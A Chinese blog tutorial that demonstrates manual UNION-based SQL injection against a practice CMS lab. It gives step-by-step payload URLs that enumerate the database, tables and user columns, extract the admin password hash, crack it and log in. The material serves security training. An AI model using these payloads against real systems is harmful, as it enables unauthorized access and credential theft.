cms文件管理系统靶场的手动SQL注入

SQL注入

手动注入

  1. 首先登录靶场
    在这里插入图片描述

  1. 随便点一个,我点的是"网游分级标准研究有初步成果 已上报至中央",看到id=33,有可能是注入点


3. 换一个数看看页面是否变动,若变动则大概率为注入点,换成34

http://10.9.46.96/cms/show.php?id=34

在这里插入图片描述
此时发现页面改变,大概率为sql注入点

注:此处我用了hackbar插件,可从谷歌应用商店下载,需要魔法

我们先认为是sql注入点,不排除有人写一堆静态页面

4.判断是字符型注入还是数字型注入,

判断方式,令id=一个表达式,eg: id=34-1

如果没变化就是字符型注入,若有变化就是数字型注入
http://10.9.46.96/cms/show.php?id=34-1
在这里插入图片描述5. 尝试联合注入

  • 判断有多少字段,增加最后一位数字直到报错 http://10.9.46.96/cms/show.php?id=33 order by 1

在这里插入图片描述 http://10.9.46.96/cms/show.php?id=33 order by 15没报错
在这里插入图片描述 http://10.9.46.96/cms/show.php?id=33 order by 16报错,说明该表中有15个字段

  • 现在需要查看哪些位置可以回显http://10.9.46.96/cms/show.php?id=33 and 1=3 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,得到结果,3,11
    在这里插入图片描述注:id =33 and 1=3 是为了不让查询出结果,影响显示
    select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 中数字是为了占位

  • 现在查看当前数据库和版本http://10.9.46.96/cms/show.php?id=33 and 1=3 union select 1,2,database(),4,5,6,7,8,9,10,version(),12,13,14,15,得到数据库名’cms’数据库版本5.5.53
    在这里插入图片描述

  • 查询数据库表名 http://10.9.46.96/cms/show.php?id=33 and 1=3 union select 1,2,group_concat(table_name),4,5,6,7,8,9,10,version(),12,13,14,15 from information_schema.tables where table_schema='cms',报错Illegal mix of collations for operation ‘UNION’,由百度得,是由于编码原因,其中group_concat()函数用于将查询结果拼接成一行,否则显示只显示一行,详情请见补充
    在这里插入图片描述

  • 将结果转化为16进制输出以解决问题http://10.9.46.96/cms/show.php?id=33 and 1=3 union select 1,2,HEX(group_concat(table_name)),4,5,6,7,8,9,10,version(),12,13,14,15 from information_schema.tables where table_schema='cms'',其中HEX()函数用于将结果转化为16进制636D735F61727469636C652C636D735F63617465676F72792C636D735F66696C652C636D735F667269656E646C696E6B2C636D735F6D6573736167652C636D735F6E6F746963652C636D735F706167652C636D735F7573657273
    在这里插入图片描述- 利用brupsuit进行解码得"cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page,cms_users"
    在这里插入图片描述- 对"cms_users"表得字段名进行查询http://10.9.46.96/cms/show.php?id=33 and 1=3 union select 1,2,HEX(group_concat(column_name)),4,5,6,7,8,9,10,version(),12,13,14,15 from information_schema.columns where table_schema='cms' and table_name = 'cms_users'得到十六进制7573657269642C757365726E616D652C70617373776F7264
    在这里插入图片描述- 用burpsuit进行转码得userid,username,password
    在这里插入图片描述- 对表中得username字段和password字段进行查询得到十六进制161646D696E ,十六进制26531306164633339343962613539616262653536653035376632306638383365
    在这里插入图片描述- 用burpsuite解码得用户名admin 密码e10adc3949ba59abbe56e057f20f883e
    在这里插入图片描述- 显然,这一串文本不像是密码,因为mysql会使用md5算法进行数据加密,所以使用md5对其再进行解密,得到密码123456网址:https://www.cmd5.com/
    在这里插入图片描述**注:**MD5,SHA算法是用来校验完整性的,因其不可逆特性才被用来加密

  • 尝试登录
    点击后台管理
    在这里插入图片描述输入用户名密码
    在这里插入图片描述
    成功登录
    在这里插入图片描述

补充

information_schema

  1. 简介
    MySql 5 以上内置了一个information_schema数据库,用于存储所有数据库和表结构的信息;
    information_schema中有数个只读表。它们实际上是视图,而不是基本表,因此,你将无法看到与之相关的任何文件。
    在这里插入图片描述

  2. 重要表

    • SCHEMATA表:提供了当前MySql 实力中所有数据库的信息,使用show databases;时结果就取于此表。
    • TABLES表:存储数据库中的所有的表的信息,包括表属于哪个数据库。使用show tables时,结果取自此表
    • COLUMNS表:存储表中的所有列的信息,包括列属于哪个表。

本次所用函数

  1. select database():显示当前所在数据库在这里插入图片描述
  2. select version();显示当前数据库版本在这里插入图片描述
  3. group_concat()将所查出的结果拼接到一行显示在这里插入图片描述
  4. HEX()将所查出的结果转化为十六进制在这里插入图片描述
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值